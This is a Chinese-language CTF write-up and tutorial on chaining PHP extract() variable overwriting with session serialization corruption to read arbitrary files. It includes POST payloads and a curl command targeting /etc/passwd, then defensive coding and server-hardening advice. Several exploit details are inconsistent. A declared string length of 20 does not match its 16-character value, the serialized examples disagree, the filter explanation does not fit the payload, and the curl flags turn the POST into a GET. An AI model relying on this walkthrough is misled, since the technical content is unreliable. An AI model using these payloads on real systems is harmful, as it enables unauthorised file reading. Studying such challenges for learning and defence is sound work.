从源码泄露到文件读取:深度剖析PHP extract与session反序列化漏洞实战
在CTF竞赛和实际渗透测试中,PHP应用的漏洞利用往往需要组合多个看似无害的功能点。本文将从一个典型的BUUCTF安洵杯赛题入手,逐步拆解如何通过extract变量覆盖与session反序列化漏洞的巧妙结合,最终实现任意文件读取的全过程。不同于简单的漏洞复现教程,我们将从攻击者视角完整还原漏洞挖掘思路,特别适合想要深入理解PHP安全特性的Web安全初学者。
1. 环境搭建与初步信息收集
首先需要准备一个标准的PHP测试环境。推荐使用Docker快速部署:
docker run -d -p 8080:80 --name php-test -v "$PWD":/var/www/html php:7.4-apache访问index.php?f=highlight_file获取源码是本题的第一个关键步骤。这种通过参数直接暴露源码的方式在实际中并不罕见,开发者常常为了方便调试而保留这类接口。获取到的源码显示几个重要特征:
- 使用
extract($_POST)直接处理用户输入 - 存在自定义的
filter函数处理序列化数据 - 通过
file_get_contents读取文件内容
提示:在实际测试中,类似
?f=highlight_file的接口可能被命名为?source、?debug等,信息收集阶段要尝试常见参数名。
2. 漏洞链关键点分析
2.1 extract函数的安全隐患
PHP的extract函数能将数组中的键值对转换为当前作用域的变量,这在本题中成为第一个突破口:
extract($_POST); // 允许通过POST请求覆盖任意变量通过发送如下POST数据,我们可以直接操纵$_SESSION数组:
POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded _SESSION[test]=hacked这种设计使得攻击者可以干预session数据的原始结构,为后续操作奠定基础。
2.2 过滤函数与反序列化的微妙关系
题目中的filter函数看似只是简单的字符串替换:
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }但当它作用于序列化字符串时,会产生意外的结构破坏。考虑以下session数据序列化后的结果:
a:2:{s:4:"user";s:5:"guest";s:10:"flagphp";s:3:"abc";}经过过滤后,如果flagphp中的内容包含被过滤词,字符串长度标识s:3将与实际内容不匹配,导致反序列化解析异常。
2.3 文件读取的最终触发点
漏洞链的终点是file_get_contents调用:
$userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));正常情况下img路径由服务端控制,但通过前两个漏洞点的组合,我们可以注入自定义的img值。
3. 漏洞利用的完整构造
3.1 利用extract覆盖session变量
首先构造特殊的session变量来破坏序列化结构:
_SESSION[flagphp]=";s:6:"mochu7";s:3:"img";s:20:"L2V0Yy9wYXNzd2Q=";}"这段payload的关键在于:
- 分号闭合前一个键值对
- 插入新的键值对控制
img字段 - 使用base64编码的目标文件路径(如
/etc/passwd)
3.2 序列化结构的精妙破坏
原始session序列化后大致如下:
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:7:"flagphp";s:49:";s:6:"mochu7";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";}经过filter处理后,如果flagphp值中包含被过滤词,会导致字符串长度计算错误,使得后续内容被解析为新的键值对。
3.3 完整的攻击流程演示
使用curl构造完整请求:
curl -X POST http://localhost:8080/index.php \ -d '_SESSION[flagphp]=;s:6:"mochu7";s:3:"img";s:20:"L2V0Yy9wYXNzd2Q=";}' \ -b 'PHPSESSID=test' \ -G --data-urlencode 'f=show_image'关键参数说明:
| 参数 | 作用 |
|---|---|
| _SESSION[flagphp] | 注入恶意序列化结构 |
| f=show_image | 触发文件读取流程 |
| PHPSESSID | 维持会话状态 |
4. 防御方案与最佳实践
4.1 安全编码建议
避免危险函数组合使用
- 禁用
extract或严格限制其参数 - 序列化前过滤而非序列化后过滤
- 禁用
Session处理改进方案
// 安全的session处理示例 $allowed_keys = ['user', 'function']; $_SESSION = array_intersect_key($_SESSION, array_flip($allowed_keys));文件操作安全规范
- 限制文件读取路径白名单
- 验证文件内容类型
4.2 实际应用中的加固措施
对于无法立即修改的遗留系统,可以考虑以下临时方案:
# Nginx配置防止源码泄露 location ~* \.php$ { if ($arg_f ~* "highlight_file|phpinfo") { return 403; } # ...其他配置 }在PHP配置层面建议:
- 设置
session.serialize_handler = php_serialize - 开启
open_basedir限制文件访问范围
5. 漏洞利用的进阶思考
通过这个案例,我们可以延伸出几个重要的安全研究角度:
PHP类型混淆的可能性
- 当序列化结构被破坏时,类型标识符可能被篡改
- 研究
s:、i:等类型标识的利用方式
过滤函数的绕过技巧
- 使用不可见字符或编码混淆
- 利用替换产生的空位构造有效载荷
其他危险函数组合
// 其他需要警惕的函数组合 parse_str($_POST); unserialize($_COOKIE['data']);
在真实环境中,这类漏洞往往需要结合具体应用逻辑进行调整。建议在本地测试环境中尝试修改过滤词列表和session处理逻辑,观察payload需要如何相应调整才能保持有效。